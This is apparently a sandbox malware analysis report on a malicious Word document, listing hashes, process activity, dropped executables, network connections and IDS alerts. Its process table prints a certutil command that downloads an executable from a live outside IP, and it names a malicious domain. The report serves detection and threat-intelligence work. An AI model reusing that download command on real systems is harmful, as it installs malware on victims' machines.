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| File name: | screen.docx |
| Full analysis: | https://app.any.run/tasks/25c9ce28-5fa3-414a-b02f-144cd37016f2 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 24, 2019, 15:13:26 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | C1C9BCBBBCCE2AE5116CE82AEC4A6DC8 |
| SHA1: | BDB6CB5CE58C92FE2E8173BB28498B647D836E43 |
| SHA256: | B4D4DFEB086872500891AA875EB221E8FC95E0C4566A07BC8ADDA5BD19AB76F3 |
| SSDEEP: | 384:aWUBe9VTAt9f+7DRk8Ek0563j8v55nT7az6GNw6muveW83CrIQOqreA:aEk9p8Ek0Mjin/oNwDuL83CrxOpA |
MALICIOUS
Application was dropped or rewritten from another process
- debug.exe (PID: 2464)
- update.exe (PID: 1088)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2124)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2124)
Starts CertUtil for downloading files
- cmd.exe (PID: 1012)
Changes the autorun value in the registry
- debug.exe (PID: 2464)
Downloads executable files from the Internet
- certutil.exe (PID: 2128)
Uses SVCHOST.EXE for hidden code execution
- update.exe (PID: 1088)
Downloads executable files from IP
- certutil.exe (PID: 2128)
SUSPICIOUS
Creates files in the program directory
- debug.exe (PID: 2464)
Executable content was dropped or overwritten
- debug.exe (PID: 2464)
- certutil.exe (PID: 2128)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2124)
Creates files in the user directory
- WINWORD.EXE (PID: 2124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docx | | | Word Microsoft Office Open XML Format document (52.2) |
|---|---|---|
| .zip | | | Open Packaging Conventions container (38.8) |
| .zip | | | ZIP compressed archive (8.8) |
EXIF
XML
| AppVersion: | 16 |
|---|---|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| CharactersWithSpaces: | 108 |
| LinksUpToDate: | No |
| Company: | - |
| ScaleCrop: | No |
| Paragraphs: | 1 |
| Lines: | 1 |
| DocSecurity: | None |
| Application: | Microsoft Office Word |
| Characters: | 93 |
| Words: | 16 |
| Pages: | 1 |
| TotalEditTime: | - |
| Template: | Normal.dotm |
| ModifyDate: | 2019:05:19 09:58:00Z |
| CreateDate: | 2019:05:19 09:58:00Z |
| RevisionNumber: | 2 |
| LastModifiedBy: | Dell_20170514745 |
| Keywords: | - |
XMP
| Description: | - |
|---|---|
| Creator: | Dell_20170514745 |
| Subject: | - |
| Title: | - |
ZIP
| ZipFileName: | [Content_Types].xml |
|---|---|
| ZipUncompressedSize: | 1460 |
| ZipCompressedSize: | 373 |
| ZipCRC: | 0x24886c04 |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0006 |
| ZipRequiredVersion: | 20 |
Total processes
39
Monitored processes
6
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2124 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\screen.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 1012 | cmd /c ""C:\Users\admin\AppData\Local\Temp\info.bat" " | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1223 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2128 | certutil -urlcache -split -f http://137.59.18.154/debug.exe | C:\Windows\system32\certutil.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\debug.exe | cmd.exe | |
User: admin Company: 瑞创网络 Integrity Level: MEDIUM Description: 2345好压-在线升级程序 Exit code: 1223 Version: 3.1.1.9229 | ||||
| 1088 | "C:\ProgramData\Update\update.exe" -P | C:\ProgramData\Update\update.exe | — | debug.exe |
User: admin Company: 瑞创网络 Integrity Level: MEDIUM Description: 2345好压-在线升级程序 Exit code: 1223 Version: 3.1.1.9229 | ||||
| 3132 | C:\Windows\system32\svchost.exe -O | C:\Windows\system32\svchost.exe | update.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host Process for Windows Services Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 542
Read events
865
Write events
0
Delete events
0
Modification events
Executable files
4
Suspicious files
1
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2124 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3FDB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\CabA154.tmp | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\TarA155.tmp | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\CabA166.tmp | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\TarA167.tmp | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\CabA177.tmp | — | |
MD5:— | SHA256:— | |||
| 2464 | debug.exe | C:\Users\admin\AppData\Local\Temp\TarA178.tmp | — | |
MD5:— | SHA256:— | |||
| 2128 | certutil.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\debug[1].exe | executable | |
MD5:3A8D74BC002E1ACAE49A64F3F77AAC0B | SHA256:5AEE7AE5DD28FCD7E672912292061022C29538BF9264DB56B30EFDBC8D45ABC0 | |||
| 2464 | debug.exe | C:\ProgramData\Update\update.exe | executable | |
MD5:3A8D74BC002E1ACAE49A64F3F77AAC0B | SHA256:5AEE7AE5DD28FCD7E672912292061022C29538BF9264DB56B30EFDBC8D45ABC0 | |||
| 2128 | certutil.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\35B8349C30BFB90C73EE97DF035AF873 | executable | |
MD5:3A8D74BC002E1ACAE49A64F3F77AAC0B | SHA256:5AEE7AE5DD28FCD7E672912292061022C29538BF9264DB56B30EFDBC8D45ABC0 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2128 | certutil.exe | GET | 200 | 137.59.18.154:80 | http://137.59.18.154/debug.exe | HK | executable | 140 Kb | suspicious |
2128 | certutil.exe | GET | 200 | 137.59.18.154:80 | http://137.59.18.154/debug.exe | HK | executable | 140 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2128 | certutil.exe | 137.59.18.154:80 | — | Xima Network | HK | suspicious |
3132 | svchost.exe | 103.64.12.106:53 | www.kkxx888666.com | TOPWAY GLOBAL LIMITED | HK | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.kkxx888666.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2128 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2128 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2128 | certutil.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2128 | certutil.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
2128 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2128 | certutil.exe | Misc activity | SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request |
2128 | certutil.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2128 | certutil.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2128 | certutil.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
2 ETPRO signatures available at the full report